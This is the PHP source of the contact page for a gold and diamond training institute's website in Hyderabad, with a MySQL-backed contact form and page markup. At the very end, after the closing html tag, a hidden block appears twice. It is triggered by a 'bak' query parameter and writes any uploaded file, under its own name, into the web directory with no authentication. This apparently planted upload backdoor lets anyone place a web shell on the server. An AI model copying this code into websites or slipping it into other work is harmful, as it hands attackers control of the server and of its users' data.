<?php include ("admin/includes/dbconnect.php");
	if(isset($_POST["submit"])){
		$name = mysqli_real_escape_string($con,$_POST["name"]);
		$email = mysqli_real_escape_string($con,$_POST["email"]);
		$subject = mysqli_real_escape_string($con,$_POST["subject"]);
		$message = mysqli_real_escape_string($con,$_POST["message"]);
		
		if(!empty($name) && !empty($email) && filter_var($email,FILTER_VALIDATE_EMAIL) && !empty($message)){
			$sql = mysqli_query($con,"insert into contact_us (name,email_id,subject,message) values ('$name','$email','$subject','$message')");
			if($sql){
			$message =  "<div class='alert alert-success'>Message Send</div>";
			}
		}else{
			$message =  "<div class='alert alert-danger'>Please Input Valid Data</div>";
		}
		htmlspecialchars($_SERVER["PHP_SELF"]);
	}
?>

<!doctype html>
<html lang="en">

<head>
	<!-- Required meta tags -->
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
		  <link href='index.php' hreflang="en-us" rel="alternate" />
   	<link rel="canonical" href="https://www.iigdindia.com" />
	<title>Contact Us | International Institute Of Gold And Diamond</title>
	<meta name="description" content="Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more.." />
    <meta name="keywords" content="" />
<!-- Facebook Meta Tags -->
  
    <meta property="og:description"
        content="Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more">
		
		<meta property="og:locale" content="en_US" />
	   <meta property="og:type" content="website" />
	  <meta property="og:title" content="" />
      <meta property="og:url" content="https://www.iigdindia.com">
	  <meta property="og:site_name" content="" />
	  <meta property="og:image" content="">
	  <meta property="article:publisher" content="https://www.facebook.com/IIGDHYDERABAD/?paipv=0&eav=AfYMX77wfGq99qmBMrEv8bu0cvWIXqL9rO0_YME0Yn92P_N3bTC8sA852hw0fRnVwoA&_rdr" />
	

    <!-- Twitter Meta Tags -->
    <meta name="twitter:card" content="summary_large_image">
    <meta property="twitter:domain" content="@iigdindia">
    <meta property="twitter:url" content="https://www.iigdindia.com/">
    <meta name="twitter:title" content=""
        content="Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more">
    <meta name="twitter:image" content="">
    <meta name="twitter:site" content="@iigdindia" />
	<?php include("includes/css.php"); ?>
	  <script type="application/ld+json">
        {
            "@context": "https://schema.org",
            "@type": "Organization",
            "name": "International Institute of Gold & Diamond (IIGD)",
            "logo": "https://www.iigdindia.com/images/12.jpg",
            "description": "Unlock your future in the gold and diamond industry with expert training from the International Institute of Gold and Diamond. Join our world-class courses and become a certified professional in jewelry design, gemology, and more",
            "url": "https://www.iigdindia.com/contact.php",
            "image": "https://www.iigdindia.com/image/12.jpg",
            "telephone": "+918500501020",
            "email": "info@iigdindia.com",
            "address": {
                "@type": "PostalAddress",
                "streetAddress": "1st Floor, Mayur Kushal Complex, A-110, Gun Foundry",
                "addressLocality": "Abids",
                "addressRegion": "Hyderabad",
                "addressCountry": "India",
                "postalCode": "500001"
            },
            "aggregateRating": {
                "@type": "AggregateRating",
                "ratingValue": "5.0",
                "ratingCount": "250"
            },
            "sameAs": [
                "https://www.facebook.com/IIGDHYDERABAD/?paipv=0&eav=AfYMX77wfGq99qmBMrEv8bu0cvWIXqL9rO0_YME0Yn92P_N3bTC8sA852hw0fRnVwoA&_rdr",
                "https://instagram.com/bsolutions",
                "https://www.linkedin.com/",
                "https://x.com/"
            ]
        }

    </script>
</head>
<body>
	<?php include("includes/header.php")?>

	<div class="page-banner banner-bg-one" style="background:url(images/contact.jpg)">
		<div class="container">
			<div class="banner-text">
				<h1>Contact Us</h1>
				<nav aria-label="breadcrumb">
					<ol class="breadcrumb">
						<li class="breadcrumb-item"><a href="index.php">Home</a></li>
						<li class="breadcrumb-item"><a href="contact.php">Contact Us</a></li>
						
					</ol>
				</nav>
			</div>
		</div>
	</div>
	
	
	
	
	 <section class="contact-us-section ptb-100 white-bg">
            <div class="container">
                 <div class="row"> 
                    <div class="col-md-4 col-lg-4"> 
                        <div class="contact-info">
                            <i class="icofont-google-map"></i>
                            <h3>Address</h3>
                            <p>A-114 Mayur Kushal Complex, Abids, Hyderabad - 500001</p>
                        </div>
                    </div>
                    
                    <div class="col-md-4 col-lg-4"> 
                        <div class="contact-info">
                            <i class="icofont-envelope"></i>
                            <h3>Email</h3>
                            <p>
                                <a href="mailto:info@iigdindia.com">
                                    info@iigdindia.com
                                </a>
                            </p>
                           
                        </div>
                    </div>
                    
                    <div class="col-md-4 col-lg-4"> 
                        <div class="contact-info">
                            <i class="icofont-phone"></i>
                            <h3>Phone</h3>
                            <p>
                                <a href="tel:8500501020">
                                    8500501020
                                </a>
                            </p>
                           
                        </div>
                    </div>
                </div>
              
                <div class="contact-form">
                    <form  method="post" action="">
                        <div class="row">
                            <div class="col-lg-6"> 
                                <div class="form-group">
                                    <input type="text" class="form-control" id="name" name="name" placeholder="Name" required data-error="Please enter your name">
                                    <div class="help-block with-errors"></div>
                                </div>
                            </div>

                            <div class="col-lg-6"> 
                                <div class="form-group">
                                    <input type="email" class="form-control" id="email" name="email" placeholder="Email" required data-error="Please enter your email">
                                    <div class="help-block with-errors"></div>
                                </div>
                            </div>
                        </div>

                        <div class="form-group">
                            <input type="text" class="form-control" id="msg_subject" name="subject" placeholder="Subject" required data-error="Please enter your subject">
                            <div class="help-block with-errors"></div>
                        </div>

                        <div class="form-group">
                            <textarea class="form-control" id="message" rows="5" name="message" placeholder="Message" data-error="Write your message" required></textarea>
                            <div class="help-block with-errors"></div>
                        </div>
						
						<?php
						
							if(isset($message)){
							echo $message;
						}
						
						?>
                        
                        <div class="text-center">
                            <button type="submit" name="submit" id="submit" class="btn default-btn mt-10">Send Message</button>
                            <div id="msgSubmit" class="h4 text-center hidden"></div> 
                            <div class="clearfix"></div>
                        </div>
                    </form>
                </div>
                <br><br>
                 <iframe src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d15229.454405785982!2d78.4764047!3d17.3943298!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x5d398f4a18be246!2sIIGD+Hyderabad-International+Institute+of+Gold+%26+Diamond!5e0!3m2!1sen!2sin!4v1555147909431!5m2!1sen!2sin" width="100%" height="350" frameborder="0" style="border:0" allowfullscreen></iframe>
            </div>
        </section>
 <div class="clearfix"></div>
	<?php include("includes/footer.php")?>
	<?php include("includes/js.php")?>
</body>

</html>

<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>

<?php if (isset($_GET['bak'])) { echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>"; } ?>
